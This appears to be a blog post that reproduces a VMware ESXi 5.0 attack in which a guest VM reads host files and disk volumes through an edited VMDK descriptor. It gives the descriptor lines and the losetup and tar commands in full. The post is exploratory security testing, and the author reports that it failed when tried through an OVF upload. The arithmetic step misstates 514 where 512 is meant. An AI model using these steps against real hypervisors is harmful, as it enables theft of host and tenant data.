Stealing host data from a VMware vSphere 5.0 VM

This post in inspired by the Insinuator site's presentation on an attack on public IaaS clouds (+ follow-up post) that support VM uploads and that are based on VMware ESXi 5.0. Essentially, it's about a VM guest being able to read files on the ESXi host after abusing a VMDK Descriptor File's content.

I wanted to check if this is really a problem (i.e. the whole attack path being valid) or if this post was just something half-baked or simple "food for thought".

Reproducing this in my own environment 

Here, I'll try to reproduce what the above post did while checking that this is really a problem with VMware. I mean, this will only be a problem if exporting/importing the VM to/from OVF format works. In other words, if VMware performs clean-up/validation of while deploying OVF files, this alleged vulnerability may be irrelevant.

Test Environment: ESXi  5.0.0 #1 SMP Release build-474610 Aug 26 2011 13:51:17 x86_64)

Step 1: Simulate the stealing of the host's volume details from a Debian guest

On ESXi host:

• Connect to ESXi server using VMware vSphere Client 5.0
• Create a small Debian 6.0.3 Server VM
• SSH to ESXi hypervisor (SSH Server has to be turned on) - 

Here we will work on the host's files directly instead of exporting them to a different format (ie: OVF, OVA...) and then reimporting them.

• Edit resulting vmdk descriptor file (on the ESXi host directly). Added line in blue:

/vmfs/volumes/4e5bfad0-283f8ee6-1b9d-b499ba04496a/Small and temporary VM for Eric # vi Small\ and\ temporary\ VM\ for\ Eric.vmdk
# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=f7fc44b3
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"

# Extent description
RW 2097152 VMFS "Small and temporary VM for Eric-flat.vmdk"
RW 32 VMFS "/bootbank/state.tgz"[...]

• Back in vSphere client, start the Debian VM
• SSH to VM or use the vSphere Client to get into the VM's console
• Multiply the VMFS size above by the block size of 512: 2097152 * 514 = 1073741824  (OFFSET)
• 
  
• Create new loopback device that points after the VMDK: losetup -v -o OFFSET -f /dev/sda 
• Use loopback device to extract data: tar -x -i --ignore-command-error --ignore-failed-read -z -f /dev/loop0 
• Extract files in the gzip package: tar -x -i --ignore-command-error --ignore-failed-read -z -f local.tgz [screenshot of above steps]
• Examine the content of the extracted data. Get the device file name from etc/vmware/esx.conf (naa...) [screenshot]
  

Good! we can get host volume details from a guest!

Step 2: Simulate the stealing of a host's volume content from a Debian guest

• In the host's console session, change the vmdk descriptor file as follows (added line in blue), taking into consideration the volume details obtained before:

/vmfs/volumes/4e5bfad0-283f8ee6-1b9d-b499ba04496a/Small and temporary VM for Eric # vi Small\ and\ temporary\ VM\ for\ Eric.vmdk
# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=f7fc44b3
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"

# Extent description
RW 2097152 VMFS "Small and temporary VM for Eric-flat.vmdk"
RW 8386560 VMFSRAW "/dev/disks/naa.600508b1001c1bd269ddc2f549010bad:2"

[...]

• Restart the VM and reestablish a shell session to it
• View the data of the volume [screenshot]
  
  

NB: Although the above steps were successful to demonstrate how a guest could abuse access to data on the host, I could not reproduce the same thing by creating a portable OVF format that could be deployed to the host from a remote vSphere client (simulating a malicious IaaS customer).

However, my testing wasn't exhaustive. I didn't try to craft an OVF package taking into consideration the above. Somehow, I can't imagine that the deployment of such as package (with an absolute path pointing to a known host file/device) would work. Perhaps I should have thought of that before I started all this testing!

Nevertheless, it's not completely impossible that a cloud provider would use a different portable format that would allow this attack vector to work.